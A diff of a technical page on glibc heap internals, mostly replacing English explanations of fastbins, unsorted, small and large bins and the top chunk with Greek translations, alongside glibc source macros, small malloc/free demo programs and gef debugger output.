||||
ordering doesn't much matter in the transient contexts in which
|
||||
fastbins are normally used.
|
||||
An array of lists holding recently freed small chunks. Fastbins
|
||||
are not doubly linked. It is faster to single-link them, and
|
||||
since chunks are never removed from the middles of these lists,
|
||||
double linking is not necessary. Also, unlike regular bins, they
|
||||
are not even processed in FIFO order (they use faster LIFO) since
|
||||
ordering doesn't much matter in the transient contexts in which
|
||||
fastbins are normally used.
|
||||
|
||||
Chunks in fastbins keep their inuse bit set, so they cannot
|
||||
be consolidated with other free chunks. malloc_consolidate
|
||||
releases all chunks in fastbins and consolidates them with
|
||||
other free chunks.
|
||||
*/
|
||||
Chunks in fastbins keep their inuse bit set, so they cannot
|
||||
be consolidated with other free chunks. malloc_consolidate
|
||||
releases all chunks in fastbins and consolidates them with
|
||||
other free chunks.
|
||||
*/
|
||||
|
||||
typedef struct malloc_chunk *mfastbinptr;
|
||||
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
|
||||
|
||||
/* offset 2 to use otherwise unindexable first 2 bins */
|
||||
#define fastbin_index(sz) \
|
||||
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
||||
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
|
||||
|
||||
|
||||
/* The maximum fastbin request size we support */
|
||||
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
|
||||
|
||||
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a fastbin chunk example</summary>
|
||||
|
||||
<summary>Προσθήκη παραδείγματος fastbin chunk</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[8];
|
||||
int i;
|
||||
char *chunks[8];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 8; i++) {
|
||||
chunks[i] = malloc(24);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 8; i++) {
|
||||
chunks[i] = malloc(24);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 8 κομμάτια του ίδιου μεγέθους ώστε να γεμίσουν το tcache και το όγδοο αποθηκεύεται στο γρήγορο κομμάτι.
|
||||
|
||||
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
|
||||
|
||||
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
|
||||
|
||||
Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο γρήγορο bin:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
|
||||
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
Fastbins[idx=1, size=0x30] 0x00
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Unsorted bin
|
||||
### Αταξινόμητος κάδος
|
||||
|
||||
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
|
||||
Ο αταξινόμητος κάδος είναι μια **κρυφή μνήμη** που χρησιμοποιείται από τον διαχειριστή σωρού για να επιταχύνει την κατανομή μνήμης. Να πώς λειτουργεί: Όταν ένα πρόγραμμα απελευθερώνει ένα κομμάτι, και αν αυτό το κομμάτι δεν μπορεί να κατανεμηθεί σε tcache ή γρήγορο κάδο και δεν συγκρούεται με το κορυφαίο κομμάτι, ο διαχειριστής σωρού δεν το τοποθετεί αμέσως σε έναν συγκεκριμένο μικρό ή μεγάλο κάδο. Αντίθετα, πρώτα προσπαθεί να **συγχωνεύσει το με οποιαδήποτε γειτονικά ελεύθερα κομμάτια** για να δημιουργήσει ένα μεγαλύτερο μπλοκ ελεύθερης μνήμης. Στη συνέχεια, το τοποθετεί σε έναν γενικό κάδο που ονομάζεται "αταξινόμητος κάδος."
|
||||
|
||||
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
|
||||
Όταν ένα πρόγραμμα **ζητά μνήμη**, ο διαχειριστής σωρού **ελέγχει τον αταξινόμητο κάδο** για να δει αν υπάρχει ένα κομμάτι επαρκούς μεγέθους. Αν βρει ένα, το χρησιμοποιεί αμέσως. Αν δεν βρει ένα κατάλληλο κομμάτι στον αταξινόμητο κάδο, μεταφέρει όλα τα κομμάτια σε αυτή τη λίστα στους αντίστοιχους κάδους τους, είτε μικρούς είτε μεγάλους, με βάση το μέγεθός τους.
|
||||
|
||||
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
|
||||
Σημειώστε ότι αν ένα μεγαλύτερο κομμάτι χωριστεί σε 2 μισά και το υπόλοιπο είναι μεγαλύτερο από το MINSIZE, θα τοποθετηθεί ξανά στον αταξινόμητο κάδο.
|
||||
|
||||
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
|
||||
Έτσι, ο αταξινόμητος κάδος είναι ένας τρόπος για να επιταχυνθεί η κατανομή μνήμης επαναχρησιμοποιώντας γρήγορα πρόσφατα απελευθερωμένη μνήμη και μειώνοντας την ανάγκη για χρονοβόρες αναζητήσεις και συγχωνεύσεις.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
|
||||
> Σημειώστε ότι ακόμη και αν τα κομμάτια είναι διαφορετικών κατηγοριών, αν ένα διαθέσιμο κομμάτι συγκρούεται με ένα άλλο διαθέσιμο κομμάτι (ακόμη και αν ανήκουν αρχικά σε διαφορετικούς κάδους), θα συγχωνευτούν.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a unsorted chunk example</summary>
|
||||
|
||||
<summary>Προσθήκη παραδείγματος αταξινόμητου κομματιού</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[9];
|
||||
int i;
|
||||
char *chunks[9];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 9 κομμάτια του ίδιου μεγέθους ώστε να **γεμίσουν το tcache** και το όγδοο αποθηκεύεται στο unsorted bin επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν έχει απελευθερωθεί, οπότε το ένατο και το όγδοο **δεν συγχωνεύονται με το κορυφαίο κομμάτι**.
|
||||
|
||||
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
|
||||
|
||||
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
|
||||
|
||||
Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο unsorted bin:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
|
||||
Fastbins[idx=6, size=0x80] 0x00
|
||||
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
|
||||
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in unsorted bin.
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Small Bins
|
||||
### Μικρές Θήκες
|
||||
|
||||
Small bins are faster than large bins but slower than fast bins.
|
||||
Οι μικρές θήκες είναι ταχύτερες από τις μεγάλες θήκες αλλά πιο αργές από τις γρήγορες θήκες.
|
||||
|
||||
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
|
||||
Κάθε θήκη από τις 62 θα έχει **κομμάτια του ίδιου μεγέθους**: 16, 24, ... (με μέγιστο μέγεθος 504 bytes σε 32 bits και 1024 σε 64 bits). Αυτό βοηθά στην ταχύτητα εύρεσης της θήκης όπου θα πρέπει να γίνει η κατανομή χώρου και στην εισαγωγή και αφαίρεση καταχωρήσεων σε αυτές τις λίστες.
|
||||
|
||||
This is how the size of the small bin is calculated according to the index of the bin:
|
||||
|
||||
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
|
||||
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
|
||||
Αυτός είναι ο τρόπος υπολογισμού του μεγέθους της μικρής θήκης σύμφωνα με τον δείκτη της θήκης:
|
||||
|
||||
- Μικρότερο μέγεθος: 2\*4\*δείκτης (π.χ. δείκτης 5 -> 40)
|
||||
- Μεγαλύτερο μέγεθος: 2\*8\*δείκτης (π.χ. δείκτης 5 -> 80)
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
#define NSMALLBINS 64
|
||||
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
|
||||
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
|
||||
|
||||
#define in_smallbin_range(sz) \
|
||||
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
|
||||
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
|
||||
|
||||
#define smallbin_index(sz) \
|
||||
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
|
||||
+ SMALLBIN_CORRECTION)
|
||||
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
|
||||
+ SMALLBIN_CORRECTION)
|
||||
```
|
||||
|
||||
Function to choose between small and large bins:
|
||||
|
||||
Συνάρτηση για την επιλογή μεταξύ μικρών και μεγάλων κάδων:
|
||||
```c
|
||||
#define bin_index(sz) \
|
||||
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
|
||||
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a small chunk example</summary>
|
||||
|
||||
<summary>Προσθέστε ένα μικρό παράδειγμα κομματιού</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[10];
|
||||
int i;
|
||||
char *chunks[10];
|
||||
int i;
|
||||
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
// Loop to allocate memory 8 times
|
||||
for (i = 0; i < 9; i++) {
|
||||
chunks[i] = malloc(0x100);
|
||||
if (chunks[i] == NULL) { // Check if malloc failed
|
||||
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
|
||||
return 1;
|
||||
}
|
||||
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
|
||||
}
|
||||
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
// Loop to free the allocated memory
|
||||
for (i = 0; i < 8; i++) {
|
||||
free(chunks[i]);
|
||||
}
|
||||
|
||||
chunks[9] = malloc(0x110);
|
||||
chunks[9] = malloc(0x110);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Σημειώστε πώς κατανέμουμε και απελευθερώνουμε 9 κομμάτια του ίδιου μεγέθους ώστε να **γεμίσουν το tcache** και το όγδοο αποθηκεύεται στο unsorted bin επειδή είναι **πολύ μεγάλο για το fastbin** και το ένατο δεν έχει απελευθερωθεί, οπότε το ένατο και το όγδοο **δεν συγχωνεύονται με το κορυφαίο κομμάτι**. Στη συνέχεια, κατανέμουμε ένα μεγαλύτερο κομμάτι 0x110 που κάνει **το κομμάτι στο unsorted bin να πηγαίνει στο small bin**.
|
||||
|
||||
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
|
||||
|
||||
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
|
||||
|
||||
Συγκεντρώστε το και αποσφαλματώστε το με ένα breakpoint στην εντολή `ret` από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το tcache bin είναι γεμάτο και ένα κομμάτι είναι στο small bin:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
[+] Found 0 chunks in unsorted bin.
|
||||
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
|
||||
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in 1 small non-empty bins.
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Large bins
|
||||
### Μεγάλες δεξαμενές
|
||||
|
||||
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
|
||||
Σε αντίθεση με τις μικρές δεξαμενές, οι οποίες διαχειρίζονται κομμάτια σταθερού μεγέθους, κάθε **μεγάλη δεξαμενή διαχειρίζεται μια σειρά από μεγέθη κομματιών**. Αυτό είναι πιο ευέλικτο, επιτρέποντας στο σύστημα να φιλοξενεί **διάφορα μεγέθη** χωρίς να χρειάζεται μια ξεχωριστή δεξαμενή για κάθε μέγεθος.
|
||||
|
||||
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
|
||||
Σε έναν αλγόριθμο κατανομής μνήμης, οι μεγάλες δεξαμενές ξεκινούν όπου τελειώνουν οι μικρές δεξαμενές. Οι περιοχές για τις μεγάλες δεξαμενές μεγαλώνουν σταδιακά, πράγμα που σημαίνει ότι η πρώτη δεξαμενή μπορεί να καλύπτει κομμάτια από 512 έως 576 byte, ενώ η επόμενη καλύπτει από 576 έως 640 byte. Αυτό το μοτίβο συνεχίζεται, με τη μεγαλύτερη δεξαμενή να περιέχει όλα τα κομμάτια πάνω από 1MB.
|
||||
|
||||
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
|
||||
Οι μεγάλες δεξαμενές είναι πιο αργές στη λειτουργία τους σε σύγκριση με τις μικρές δεξαμενές, διότι πρέπει να **ταξινομήσουν και να αναζητήσουν μέσα σε μια λίστα με ποικίλα μεγέθη κομματιών για να βρουν την καλύτερη εφαρμογή** για μια κατανομή. Όταν ένα κομμάτι εισάγεται σε μια μεγάλη δεξαμενή, πρέπει να ταξινομηθεί, και όταν η μνήμη κατανεμηθεί, το σύστημα πρέπει να βρει το σωστό κομμάτι. Αυτή η επιπλέον εργασία τις καθιστά **αργές**, αλλά καθώς οι μεγάλες κατανομές είναι λιγότερο συχνές από τις μικρές, είναι μια αποδεκτή ανταλλαγή.
|
||||
|
||||
There are:
|
||||
Υπάρχουν:
|
||||
|
||||
- 32 bins of 64B range (collide with small bins)
|
||||
- 16 bins of 512B range (collide with small bins)
|
||||
- 8bins of 4096B range (part collide with small bins)
|
||||
- 4bins of 32768B range
|
||||
- 2bins of 262144B range
|
||||
- 1bin for remaining sizes
|
||||
- 32 δεξαμενές εύρους 64B (συγκρούονται με μικρές δεξαμενές)
|
||||
- 16 δεξαμενές εύρους 512B (συγκρούονται με μικρές δεξαμενές)
|
||||
- 8 δεξαμενές εύρους 4096B (μερικώς συγκρούονται με μικρές δεξαμενές)
|
||||
- 4 δεξαμενές εύρους 32768B
|
||||
- 2 δεξαμενές εύρους 262144B
|
||||
- 1 δεξαμενή για τα υπόλοιπα μεγέθη
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Large bin sizes code</summary>
|
||||
|
||||
<summary>Κωδικός μεγάλων δεξαμενών</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
#define largebin_index_32(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
#define largebin_index_32_big(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
// XXX It remains to be seen whether it is good to keep the widths of
|
||||
// XXX the buckets the same or whether it should be scaled by a factor
|
||||
// XXX of two as well.
|
||||
#define largebin_index_64(sz) \
|
||||
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
|
||||
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
|
||||
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
|
||||
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
|
||||
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
|
||||
126)
|
||||
|
||||
#define largebin_index(sz) \
|
||||
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
|
||||
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
|
||||
: largebin_index_32 (sz))
|
||||
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
|
||||
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
|
||||
: largebin_index_32 (sz))
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a large chunk example</summary>
|
||||
|
||||
<summary>Προσθήκη ενός μεγάλου παραδείγματος</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunks[2];
|
||||
char *chunks[2];
|
||||
|
||||
chunks[0] = malloc(0x1500);
|
||||
chunks[1] = malloc(0x1500);
|
||||
free(chunks[0]);
|
||||
chunks[0] = malloc(0x2000);
|
||||
chunks[0] = malloc(0x1500);
|
||||
chunks[1] = malloc(0x1500);
|
||||
free(chunks[0]);
|
||||
chunks[0] = malloc(0x2000);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
2 μεγάλες κατανομές εκτελούνται, στη συνέχεια μία απελευθερώνεται (βάζοντάς την στο αταξινόμητο δοχείο) και μια μεγαλύτερη κατανομή γίνεται (μετακινώντας την ελεύθερη από το αταξινόμητο δοχείο στο μεγάλο δοχείο).
|
||||
|
||||
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
|
||||
|
||||
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
|
||||
|
||||
Συγκεντρώστε το και αποσφαλματώστε το με ένα σημείο διακοπής στον `ret` opcode από τη συνάρτηση `main`. Στη συνέχεια, με το `gef` μπορείτε να δείτε ότι το δοχείο tcache είναι γεμάτο και ένα κομμάτι είναι στο μεγάλο δοχείο:
|
||||
```bash
|
||||
gef➤ heap bin
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
[+] Found 0 chunks in 0 small non-empty bins.
|
||||
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
|
||||
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
|
||||
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
[+] Found 1 chunks in 1 large non-empty bins.
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Top Chunk
|
||||
|
||||
### Κύριο Τμήμα
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
/*
|
||||
Top
|
||||
Top
|
||||
|
||||
The top-most available chunk (i.e., the one bordering the end of
|
||||
available memory) is treated specially. It is never included in
|
||||
any bin, is used only if no other chunk is available, and is
|
||||
released back to the system if it is very large (see
|
||||
M_TRIM_THRESHOLD). Because top initially
|
||||
points to its own bin with initial zero size, thus forcing
|
||||
extension on the first malloc request, we avoid having any special
|
||||
code in malloc to check whether it even exists yet. But we still
|
||||
need to do so when getting memory from system, so we make
|
||||
initial_top treat the bin as a legal but unusable chunk during the
|
||||
interval between initialization and the first call to
|
||||
sysmalloc. (This is somewhat delicate, since it relies on
|
||||
the 2 preceding words to be zero during this interval as well.)
|
||||
*/
|
||||
The top-most available chunk (i.e., the one bordering the end of
|
||||
available memory) is treated specially. It is never included in
|
||||
any bin, is used only if no other chunk is available, and is
|
||||
released back to the system if it is very large (see
|
||||
M_TRIM_THRESHOLD). Because top initially
|
||||
points to its own bin with initial zero size, thus forcing
|
||||
extension on the first malloc request, we avoid having any special
|
||||
code in malloc to check whether it even exists yet. But we still
|
||||
need to do so when getting memory from system, so we make
|
||||
initial_top treat the bin as a legal but unusable chunk during the
|
||||
interval between initialization and the first call to
|
||||
sysmalloc. (This is somewhat delicate, since it relies on
|
||||
the 2 preceding words to be zero during this interval as well.)
|
||||
*/
|
||||
|
||||
/* Conveniently, the unsorted bin can be used as dummy top on first call */
|
||||
#define initial_top(M) (unsorted_chunks (M))
|
||||
```
|
||||
Βασικά, αυτό είναι ένα κομμάτι που περιέχει όλα τα διαθέσιμα heap. Όταν εκτελείται μια malloc, αν δεν υπάρχει διαθέσιμο ελεύθερο κομμάτι προς χρήση, αυτό το κορυφαίο κομμάτι θα μειώνει το μέγεθός του δίνοντας τον απαραίτητο χώρο.\
|
||||
Ο δείκτης προς το Top Chunk αποθηκεύεται στη δομή `malloc_state`.
|
||||
|
||||
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
|
||||
The pointer to the Top Chunk is stored in the `malloc_state` struct.
|
||||
|
||||
